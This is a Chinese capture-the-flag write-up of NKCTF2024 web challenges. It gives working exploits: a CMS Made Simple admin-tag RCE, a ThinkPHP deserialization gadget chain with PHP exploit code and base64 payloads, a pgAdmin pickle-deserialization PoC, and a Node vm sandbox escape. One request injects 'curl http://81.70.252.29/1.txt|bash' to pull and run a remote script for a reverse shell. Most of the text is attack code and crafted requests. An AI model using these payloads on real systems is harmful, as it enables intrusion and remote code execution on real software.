NKCTF2024-WEB-gxngxngxn
WEB
my first cms
cms made simple 2.2.19
参考:GitHub - capture0x/CMSMadeSimple
后台有个rce漏洞
访问/admin路由直接爆破弱口令
得到admin/Admin123
然后访问
admin/editusertag.php
修改为:
<?php echo system('cat /_fffff1@g'); ?>
得到flag
用过就是熟悉
拿到源码进行审计
看到引入了tp框架
在登录的地方有很明显的反序列化点
接下来就是找tp的链子:
先找入口点: __destruct()
找到这里会调用removeFiles,跟进函数
看到这里会把$this->files当成字符串拼接,可以触发toString
跟进toJson,会调用toArray
看到toArray可以调用一个不可访问的属性,可以触发__get
看到这里只有一个__get魔术方法,可以触发__call
看到这里的__call可以读取hint文件,那么终点就是这里了
直接写exp:
<?php
namespace think;
use ArrayAccess;
use ArrayIterator;
use Countable;
use IteratorAggregate;
use JsonSerializable;
class Collection {
public $item;
}
namespace think\process\pipes;
use PHPEMS\item_weixin;
use think\Collection;
use think\Process;
class Windows {
public $files;
}
namespace think;
class View
{
public $data;
public $engine;
}
namespace think;
use think\exception\ClassNotFoundException;
use think\response\Redirect;
class Debug extends Testone
{
}
namespace think;
abstract class Testone
{
}
use think\process\pipes\Windows;
$A = new \think\process\pipes\Windows();
$A -> files = array(new \think\Collection());
$A -> files[0]-> items = new \think\View();
$A -> files[0]-> items->data= array("loginout"=>new \think\Debug());
$A -> files[0]-> items->engine = array("time"=>"10086");
echo base64_encode(serialize($A));
payload:
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjU6ImZpbGVzIjthOjE6e2k6MDtPOjE2OiJ0aGlua1xDb2xsZWN0aW9uIjoxOntzOjU6Iml0ZW1zIjtPOjEwOiJ0aGlua1xWaWV3IjoyOntzOjQ6ImRhdGEiO2E6MTp7czo4OiJMb2dpbm91dCI7TzoxMToidGhpbmtcRGVidWciOjA6e319czo2OiJlbmdpbmUiO2E6MTp7czo0OiJ0aW1lIjtzOjU6IjEwMDg2Ijt9fX19fQ==
接着我们注意到文件名是以时间戳的md5以后重新生成的,那么我们不断发包爆破即可:
import time
import hashlib
import requests
url="http://7f18d7c7-788d-4e80-9626-ecdadda7673e.node.nkctf.yuzhian.com.cn/app/controller/user/think/"
while(1):
a = str(int(time.time())).encode('utf-8')
hash_object = hashlib.md5(a)
md5_hash = hash_object.hexdigest()
#print(url+md5_hash)
re1=requests.get(url+md5_hash)
print(url+md5_hash)
if 'kodbox' not in re1.text:
print(re1.text)
break
先不断的发送访问文件的请求,然后bp不断发送请求包(相当于不断的生成文件)
得到hint的内容:
亲爱的Chu0,
我怀着一颗激动而充满温柔的心,写下这封情书,希望它能够传达我对你的深深情感。或许这只是一封文字,但我希望每一个字都能如我心情般真挚。
在这个瞬息万变的世界里,你是我生命中最美丽的恒定。每一天,我都被你那灿烂的笑容和温暖的眼神所吸引,仿佛整个世界都因为有了你而变得更加美好。你的存在如同清晨第一缕阳光,温暖而宁静。
或许,我们之间存在一种特殊的联系,一种只有我们两个能够理解的默契。
<<<<<<<<我曾听说,密码的明文,加上心爱之人的名字(Chu0),就能够听到游客的心声。>>>>>>>>
而我想告诉你,你就是我心中的那个游客。每一个与你相处的瞬间,都如同解开心灵密码的过程,让我更加深刻地感受到你的独特魅力。
你的每一个微笑,都是我心中最美丽的音符;你的每一句关心,都是我灵魂深处最温暖的拥抱。在这个喧嚣的世界中,你是我安静的港湾,是我倚靠的依托。我珍视着与你分享的每一个瞬间,每一段回忆都如同一颗珍珠,串联成我生命中最美丽的项链。
或许,这封情书只是文字的表达,但我愿意将它寄予你,如同我内心深处对你的深深情感。希望你能感受到我的真挚,就如同我每一刻都在努力解读心灵密码一般。愿我们的故事能够继续,在这段感情的旅程中,我们共同书写属于我们的美好篇章。
POST /?user/index/loginSubmit HTTP/1.1
Host: 192.168.128.2
Content-Length: 162
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.128.2
Referer: http://192.168.128.2/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: kodUserLanguage=zh-CN; CSRF_TOKEN=xxx
Connection: close
name=guest&password=tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI&rememberPassword=0&salt=1&CSRF_TOKEN=xxx&API_ROUTE=user%2Findex%2FloginSubmit
hint: 新建文件
这里提示我们guest的密码就是明文+Chu0,那么如何得到明文?
注意到这里有段解密逻辑,我们本地调试,将hint中的包提交试试
得到密码明文,接着使用
guest/!@!@!@!@NKCTFChu0
登录即可
由于是最新版的可道云,就不考虑本身存在的漏洞了,在回收站找到一个新建文件.html的文件,里面提示var/www/html/data/files/shell这里有个一句话木马,那么就想办法包含这个文件
在think\Config.php中找到__call
这里可以包含,而且这里的过滤就是一个摆设,一点用没有
直接改下exp:
<?php
namespace think;
use ArrayAccess;
use ArrayIterator;
use Countable;
use IteratorAggregate;
use JsonSerializable;
class Collection {
public $items;
}
namespace think\process\pipes;
use PHPEMS\item_weixin;
use think\Collection;
use think\Process;
class Windows {
public $files;
}
namespace think;
class View
{
public $data;
public $engine;
}
namespace think;
class Config{
}
use think\process\pipes\Windows;
$A = new \think\process\pipes\Windows();
$A -> files = array(new \think\Collection());
$A -> files[0]-> items = new \think\View();
$A -> files[0]-> items->data= array("Loginout"=>new \think\Config());
$A -> files[0]-> items->engine = array("name"=>"../../../../../../../../../var/www/html/data/files/shell");
echo base64_encode(serialize($A));
接着发包即可:
POST /?user/index/loginSubmit HTTP/1.1
Host: 4c25fbb5-d81b-42e6-9e50-68bc971f9737.node.nkctf.yuzhian.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 524
Origin: http://4c25fbb5-d81b-42e6-9e50-68bc971f9737.node.nkctf.yuzhian.com.cn
Connection: close
Referer: http://4c25fbb5-d81b-42e6-9e50-68bc971f9737.node.nkctf.yuzhian.com.cn/
Cookie: KOD_SESSION_ID=64c270bccb5c05527633e83a39335ff8; CSRF_TOKEN=7G373pfZFetxc4CY
name=guest&password=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjU6ImZpbGVzIjthOjE6e2k6MDtPOjE2OiJ0aGlua1xDb2xsZWN0aW9uIjoxOntzOjU6Iml0ZW1zIjtPOjEwOiJ0aGlua1xWaWV3IjoyOntzOjQ6ImRhdGEiO2E6MTp7czo4OiJMb2dpbm91dCI7TzoxMjoidGhpbmtcQ29uZmlnIjowOnt9fXM6NjoiZW5naW5lIjthOjE6e3M6NDoibmFtZSI7czo1NjoiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9odG1sL2RhdGEvZmlsZXMvc2hlbGwiO319fX19&rememberPassword=0&salt=1&CSRF_TOKEN=7G373pfZFetxc4CY&API_ROUTE=user%2Findex%2FloginSubmit&0=system('curl http://81.70.252.29/1.txt|bash');
成功弹shell,得到flag
attack_tacooooo
参考:屏蔽器 - pgAdmin (<=8.3) 会话处理中的路径遍历会导致不安全的反序列化和远程代码执行 (RCE) (shielder.com)
其实就是打一个pickle反序列化
登录:tacooooo@qq.com/tacooooo
import struct
import sys
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval,("__import__('os').system('cat /proc/1/environ > /var/lib/pgadmin/storage/tacooooo_qq.com/1.txt')",))
poc = A()
result = pickle.dumps(poc)
if __name__ == '__main__':
with open('C:\\Users\\86183\\Desktop\\posix.pickle', 'wb') as f:
f.write(result)
提示没有curl和bash,那么就可以通过写文件,通过抓包上传文件得到上传文件的路径
/var/lib/pgadmin/storage/tacooooo_qq.com/
直接上传posix.pickle,然后修改cookie
pga4_session=/var/lib/pgadmin/storage/tacooooo_qq.com/posix.pickle!+DrpP6qW8K+12X2dzDyM0fdW/0o6ePTPKEZYaF4sr7s=;
然后访问下载1.txt即可得到flag
全世界最简单的CTF
拿到源码
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");
app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))
app.get('/', function (req, res){
res.sendFile(__dirname + '/public/home.html');
})
function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if(code.match(pattern)){
throw new Error("what can I say? hacker out!!");
}
}
app.post('/', function (req, res){
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch (e){
console.log(e.message);
require('./hack');
}
})
app.get('/secret', function (req, res){
if(process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
})
app.listen(3000, ()=>{
console.log("listen on 3000");
})
可以看到vm逃逸 bypass,可以看到过滤关键字的时候对大小写敏感
所以我们可以利用toLowerCase()函数来绕过部分,然后利用反射调用的方式来获取exec
payload:
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const aa = 'return Process'.toLowerCase();
const bb = 'child_pRocess'.toLowerCase();
const p = (cc.constructor.constructor(aa))().mainModule.require(bb);
return Reflect.get(Reflect.get(p, Reflect.ownKeys(p).find(x=>x.startsWith('ex')))('ls'));
}
})
成功弹shell,执行/readflag获得flag